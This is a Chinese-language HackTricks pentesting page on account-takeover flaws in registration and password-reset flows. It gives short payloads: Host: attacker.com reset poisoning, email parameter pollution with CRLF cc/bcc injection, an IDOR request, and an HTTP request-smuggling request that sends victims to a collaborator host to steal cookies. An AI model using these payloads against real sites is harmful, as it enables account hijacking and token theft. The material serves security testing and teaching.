hacktricks/pentesting-web/registration-vulnerabilities.md

206 lines
8.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 注册与接管漏洞
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}
## 注册接管
### 重复注册
* 尝试使用现有用户名生成
* 检查不同的电子邮件:
* 大写字母
* \+1@
* 在电子邮件中添加一些点
* 电子邮件名称中的特殊字符 (%00, %09, %20)
* 在电子邮件后放置黑色字符:`test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
### 用户名枚举
检查您是否可以确定用户名是否已在应用程序中注册。
### 密码策略
创建用户时检查密码策略(检查您是否可以使用弱密码)。\
在这种情况下,您可以尝试暴力破解凭据。
### SQL 注入
[**查看此页面**](sql-injection/#insert-statement)以了解如何通过注册表单中的 **SQL 注入** 尝试账户接管或提取信息。
### Oauth 接管
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
### SAML 漏洞
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
{% endcontent-ref %}
### 更改电子邮件
注册后尝试更改电子邮件,并检查此更改是否得到正确验证,或是否可以更改为任意电子邮件。
### 更多检查
* 检查您是否可以使用 **一次性电子邮件**
* **长** **密码** (>200) 导致 **DoS**
* **检查账户创建的速率限制**
* 使用 username@**burp\_collab**.net 并分析 **回调**
## **密码重置接管**
### 通过引荐人泄露密码重置令牌 <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. 请求将密码重置到您的电子邮件地址
2. 点击密码重置链接
3. 不要更改密码
4. 点击任何第三方网站例如FacebookTwitter
5. 在 Burp Suite 代理中拦截请求
6. 检查 referer 头是否泄露密码重置令牌。
### 密码重置中毒 <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. 在 Burp Suite 中拦截密码重置请求
2. 在 Burp Suite 中添加或编辑以下头部:`Host: attacker.com``X-Forwarded-Host: attacker.com`
3. 转发带有修改头部的请求\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. 查找基于 _host 头_ 的密码重置 URL例如`https://attacker.com/reset-password.php?token=TOKEN`
### 通过电子邮件参数重置密码 <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. 攻击者必须使用他们的账户登录并进入**更改密码**功能。
2. 启动Burp Suite并拦截请求
3. 将其发送到重发器选项卡并编辑参数用户ID/电子邮件\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
密码重置令牌应该是随机生成的,并且每次都是唯一的。\
尝试确定令牌是否过期或是否总是相同,在某些情况下,生成算法较弱,可以被猜测。以下变量可能被算法使用。
* 时间戳
* 用户ID
* 用户的电子邮件
* 名字和姓氏
* 出生日期
* 加密
* 仅数字
* 小令牌序列(字符在\[A-Z,a-z,0-9]之间)
* 令牌重用
* 令牌过期日期
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. 使用API/UI触发特定电子邮件的密码重置请求例如test@mail.com
2. 检查服务器响应并查看`resetToken`
3. 然后在URL中使用令牌如`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. 使用与受害者用户名相同的用户名在系统中注册,但在用户名前后插入空格。例如:`"admin "`
2. 使用您的恶意用户名请求密码重置。
3. 使用发送到您电子邮件的令牌重置受害者密码。
4. 使用新密码连接到受害者账户。
平台CTFd对该攻击存在漏洞。\
见:[CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. 在应用程序或子域中找到XSS如果cookies的作用域为父域`*.domain.com`
2. 泄露当前**会话cookie**
3. 使用cookie作为用户进行身份验证
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. 使用**smuggler**检测HTTP请求走私的类型CL, TE, CL.TE\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. 构造一个请求,该请求将用以下数据覆盖`POST / HTTP/1.1`\
`GET http://something.burpcollaborator.net HTTP/1.1 X:`目的是将受害者重定向到burpcollab并窃取他们的cookies\
3\. 最终请求可能看起来像以下内容
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone 报告利用此漏洞\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### 通过 CSRF 实现账户接管 <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. 创建 CSRF 的有效载荷,例如:“用于密码更改的自动提交 HTML 表单”
2. 发送有效载荷
### 通过 JWT 实现账户接管 <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Token 可能用于验证用户。
* 使用另一个用户 ID / 电子邮件编辑 JWT
* 检查弱 JWT 签名
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}
## 参考
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}